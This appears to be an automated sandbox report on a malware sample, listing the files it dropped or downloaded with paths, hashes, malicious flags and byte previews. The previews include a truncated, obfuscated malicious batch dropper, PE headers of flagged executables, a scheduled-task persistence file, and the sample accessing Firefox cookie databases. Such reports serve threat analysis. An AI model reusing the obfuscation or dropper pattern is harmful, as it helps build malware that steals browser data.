SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xbq5bmbn.pmy.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ypvxntg0.or4.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\GCGHCBKFCF.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1892864
Entropy (8bit):	7.950100860608948
Encrypted:	false
SSDEEP:	24576:aFqinFKLQTO5GZfnT4F/MZfZLaHx8oAw6dR7x9Mc251UmzL0p9/jq4EiP+SnOo4r:aFXFNC5UfnT4VMpZLaRadFEOmzM7PBD
MD5:	E4C570FBA70843D9127A627D5F627766
SHA1:	9528C5DE55077BA02D941300CC0960B4076B6AE8
SHA-256:	CCD674DFA452E95B5D4A97D91A8E44D2268A3B8438CC5A4FD17D9B63CDD78E86
SHA-512:	07A920C8029B2FBAFF0F938702E919BD5CE59DCAC3BB09B3FB6CC9057F4CAC0D49B3A62A9861DE2BEDAC4EB8FDDD8A26798CCEBB138F5B25748B979F0B2CD717
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@K...........@..........................pK...........@.................................W...k............................ K.............................. K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...dmpinvwn.....`1.....................@...kefdngyk.....0K.....................@....taggant.0...@K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 30 20:52:37 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.977062487840438
Encrypted:	false
SSDEEP:	48:8hsdlT8kHSUidAKZdA1P4ehwiZUklqehqy+3:8AIUOFy
MD5:	91B795A717A300FF82CDA2FBA7A10DB1
SHA1:	2ED7B827754E03E8AB572DE4AA17F87E671D91A4
SHA-256:	B654E1CAF859879BCBD15EB74D96910D8EA47ECB31E78571AE6B2A864A7E16B2
SHA-512:	3633053935EFED44A719EF92FE6139FF956FEAC8A267876C833DE2F3B646E0543A925BE9D6325C82672947EB734EA77FDF6B0048E3BB0089AF9E622B8EC815CD
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......+rC....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I~Y......B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V~Y......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V~Y......M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V~Y...............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V~Y.............................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............on.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 30 20:52:37 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.994398545492357
Encrypted:	false
SSDEEP:	48:8wsdlT8kHSUidAKZdA1+4eh/iZUkAQkqeh1y+2:8RI1F9QYy
MD5:	C7307B4E299637D47FE0911A2832074A
SHA1:	D5A86B93ABBBDD4FB5358728DD4E0DF649AD2940
SHA-256:	E00CA9A60EDE13E6F172C4E9809EF9E827B19BFA67570275FCE8BCD27BCB1583
SHA-512:	0E0A73BC8BF0BE58B9BB55855E54C2D9DCDE3981E2DC463D920184A6C133889E80CA774AEF52805092FC7FC9A7B644E0C591A96F28D4A440B11B7FFA629FDB82
Malicious:	false
Preview:	L..................F.@.. ...$+.,....H.+rC....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I~Y......B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V~Y......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V~Y......M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V~Y...............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V~Y.............................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............on.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:56:51 2023, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.005531841876263
Encrypted:	false
SSDEEP:	48:83dlT8VHSUidAKZdA1404eh7sFiZUkmgqeh7s7y+BX:8XIjInBy
MD5:	592E8E4F6784AD00A62AA8C981AFE3DF
SHA1:	20F3FF8B80BD871F0378136146F30557620E6AAD
SHA-256:	FE8C402DEA721BE8DF15B837754210991884804154235862E2010DAB975B2539
SHA-512:	E32A19BD648CB21B8628A03989BC9D3A3F32AAACAD0F8026F352D5F81BC8BC39EB9A5B9A02147CC7463B2FD9ED4E41BA679802B1B0673ADA714BADACB15E786B
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....<}.i.....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I~Y......B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V~Y......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V~Y......M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V~Y...............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.VEW.F...........................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............on.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 30 20:52:37 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9918309648426513
Encrypted:	false
SSDEEP:	48:8csdlT8kHSUidAKZdA1p4ehDiZUkwqehJy+R:8tIC5jy
MD5:	9AE3712BEEC497F7A282361EDFA991FE
SHA1:	405E5B72E78DF96DD0CF30636239ED3723C3CB29
SHA-256:	1A20155A3BAB63A47B481766FD466EA5C36EB1B3B2409706AF33C408584A8AFF
SHA-512:	3F974DD32E6576481158D741F9F41CB2BB48BB4D2FB6C20C1A46ABE9901BF36EACDEA9503032C766F170B4FC4B985F1EB0E7121798A8868E4138105EDA81C419
Malicious:	false
Preview:	L..................F.@.. ...$+.,....4.\|+rC....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I~Y......B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V~Y......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V~Y......M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V~Y...............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V~Y.............................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............on.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 30 20:52:37 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9822759323325085
Encrypted:	false
SSDEEP:	48:8CsdlT8kHSUidAKZdA1X4ehBiZUk1W1qehHy+C:8LIsb9ny
MD5:	729EADA3D918ACB138B4D515116DC57C
SHA1:	6F08DD45A6C2909652D54083BBCC955CA7DCF2CF
SHA-256:	EA791EBF228C2088FCB5F83BD01977AFC4B90380B7D12CB511058FD243DA307C
SHA-512:	0B799DD7E39AAF97B453DF746F2863886FC3BE6BB3B01A147B4205EA5674E10C29A21FEA62753F329B93970CCE8547A176440FAB9E24B72DC27C0D9FDB29FE92
Malicious:	false
Preview:	L..................F.@.. ...$+.,....Z.+rC....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I~Y......B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V~Y......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V~Y......M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V~Y...............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V~Y.............................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............on.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 30 20:52:37 2024, atime=Wed Sep 27 08:36:55 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9878394202842524
Encrypted:	false
SSDEEP:	48:8GsdlT8kHSUidAKZdA1duTc4ehOuTbbiZUk5OjqehOuTbBy+yT+:8vIpTcJTbxWOvTbBy7T
MD5:	A84C25D50104B074531DDFEC0F06D91A
SHA1:	045C944B4D0E25D62268291D8A477271A0BC4AE9
SHA-256:	58AC89ECEEE48B4DAF40B4BA462399F8174DA46F6B7D4E218E2949460DFA2017
SHA-512:	3E29EDF48103C07FCCCBF6701470708A97F21B28FA6CEDE07D70642F7B666EFA8844EC085B64FE145623FD18BAC2DAB77502B10A47C966BC8502CC14C3D3DAF9
Malicious:	false
Preview:	L..................F.@.. ...$+.,......s+rC....v'&... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW.I..PROGRA~1..t......O.I~Y......B...............J.....\...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V~Y......L.....................p+j.G.o.o.g.l.e.....T.1.....EW.F..Chrome..>......CW.V~Y......M......................O..C.h.r.o.m.e.....`.1.....EW.F..APPLIC~1..H......CW.V~Y...............................A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.L .CHROME~1.EXE..R......CW.V~Y.............................).c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............on.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Network9294Man.cmd

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	DOS batch file, ASCII text, with very long lines (65170), with CRLF line terminators
Category:	dropped
Size (bytes):	1344165
Entropy (8bit):	6.409076441728564
Encrypted:	false
SSDEEP:	24576:cXW6wx/V5q1ghvbOGHvc/gkQBCHxG+OcQgCLjjfPEGjmuC:MXb6hmLjhB94j7jmuC
MD5:	837FDEE87E4EF7C96374F69F019AE111
SHA1:	9D9D6C1B87A0ED41B10207B6122A66CE6812CC8A
SHA-256:	6C9E009CD392A09A6859920D3BDDBF318617D0032C8F380B6989CD280B4B8CC2
SHA-512:	97E7B1BCAEF469B20BD261FE732AA4410A28218EA2DABDAD9CEC52FC414B19D69A3E60775F229CC4F80A40665CF0EED718298E8C8A0ABEFA89690C7F0C800EF0
Malicious:	true
Preview:	@echo off..set "HxdhmR=seHxdhmRtHxdhmR HxdhmRKXHxdhmRkl=HxdhmR1 &HxdhmR&HxdhmR HxdhmRstaHxdhmRrHxdhmRtHxdhmR HxdhmR""HxdhmR /HxdhmRmHxdhmRiHxdhmRn HxdhmR"..set "kEGvSe=exkEGvSeikEGvSet /kEGvSeBkEGvSe"..set "ybGHPb=ifybGHPb nybGHPboybGHPbt ybGHPbdeybGHPbfiybGHPbneybGHPbd ybGHPbKXybGHPbklybGHPb"..if %%ybGHPb:ybGHPb%%==%%ybGHPb%% (%HxdhmR:HxdhmR% %%kEGvSe:kEGvSe%%)..::g7H1/FTN1TmJMsK6/RdO6KuHyxCTKmGtwL01Ekrl9UZ8DTxeFsS5ykGtAYQoR2GIfdempLITt6f59Sk8fHuBwdP4FO+GBjX1M/9AcRy2zeI2RkzhJs7gS9ONjEGA009/s7zKxokacW9sWjsI7sFTUGT5ygRqijQr2QggmgoKoY8nZt4iHH7d+kJFAOzzEr+0+rarmJTE5iMaGLwY/K4EQaGu/YAPndZq92guD1ouHcAWR7i1BYvQ9zfBSRFQTjBMdXU71huQ+6vUBbv4CxTBKeLLcpcOoZ2IheWlvj6zTJ78gvCqWZaNYFVvHP991lzIamLPMvN/ROw1FDlEZar371Rse+yuT+AGFG2E7CrKl+2FHdtDd+l/EBlxBT01VD5BhoWHMJpGpgq5jrv4gRkbkfKp700/RtFrLICALCMrItYbloGG5kYspe61jXelRvW5wJTvgVQJ8yZDqnyk9A/wPhvDHekGzfuUrZsD3ZCbxi3NmnPwXXw4NoDb6IrmeHBrjY8kMLUwQ8MguWOWIEIRRpIa8XRj+Y1IEBD2is4A07T4xRwrD8UB0LwQj/dWd6SXJ9xkCKVxliTjy3bCP72hzYqh98rNVCXvqObrAw9nX7Lpc3N87vxx9VGA

C:\Users\user\Documents\GCGHCBKFCF.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1892864
Entropy (8bit):	7.950100860608948
Encrypted:	false
SSDEEP:	24576:aFqinFKLQTO5GZfnT4F/MZfZLaHx8oAw6dR7x9Mc251UmzL0p9/jq4EiP+SnOo4r:aFXFNC5UfnT4VMpZLaRadFEOmzM7PBD
MD5:	E4C570FBA70843D9127A627D5F627766
SHA1:	9528C5DE55077BA02D941300CC0960B4076B6AE8
SHA-256:	CCD674DFA452E95B5D4A97D91A8E44D2268A3B8438CC5A4FD17D9B63CDD78E86
SHA-512:	07A920C8029B2FBAFF0F938702E919BD5CE59DCAC3BB09B3FB6CC9057F4CAC0D49B3A62A9861DE2BEDAC4EB8FDDD8A26798CCEBB138F5B25748B979F0B2CD717
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@K...........@..........................pK...........@.................................W...k............................ K.............................. K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...dmpinvwn.....`1.....................@...kefdngyk.....0K.....................@....taggant.0...@K.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\GCGHCBKFCF.exe
File Type:	data
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.420136043016698
Encrypted:	false
SSDEEP:	6:/Ixx8JXFMsUEZ+lX1CGdKUe6tFYSoQI/uy0lB7llYct0:U6VFMsQ1CGAFVQI/uVB7Zt0
MD5:	9BD06FBD8EF998CAC6C3E9FFA4F33F2F
SHA1:	9B36D9B2475EDC2956C9CE2F7C72093900F3E3C6
SHA-256:	2DD97FA5B2AC374E81A93D163A473F94C511D380B907B20D51FE5781BCFA1555
SHA-512:	4CF432ED0C6CA92BBA3A41F39BE7F241FC19274B5F174BEF9F3D44A2AB0DBD71A64070DD3CED494F53C3145F70394E7D91747AE20441027982EB927362AD0128
Malicious:	false
Preview:	....am..[..M.;....F.......<... .....s.......... ....................7.C.:.\.U.s.e.r.s.\.t.i.n.a.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........T.I.N.A.-.P.C.\.t.i.n.a...................0.................6.@3P.........................

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (791)
Category:	downloaded
Size (bytes):	797
Entropy (8bit):	5.15261253174324
Encrypted:	false
SSDEEP:	24:BZYs9UUtWmcWBHslgT9lCuABuoB7HHHHHHHYqmffffffo:BKsRtBcWKlgZ01BuSEqmffffffo
MD5:	70831E0DFAFAACAF572D31ADDDC7CCA0
SHA1:	A38340C67692A67C75093E00D99AF136383AB608
SHA-256:	646EB774C2131FBC5C2DD0D1CDD607C7BD025DDE273B2388E8497F81F28D0050
SHA-512:	3A1C48BBB88633735E3FC125297A90292C5D82DB40BE6EF3FB5B80384DC22F0AEB77DC8629B54523B4BA5049A8C3074A68C4EBA0CE317AE9F0CE649590C75BEC
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
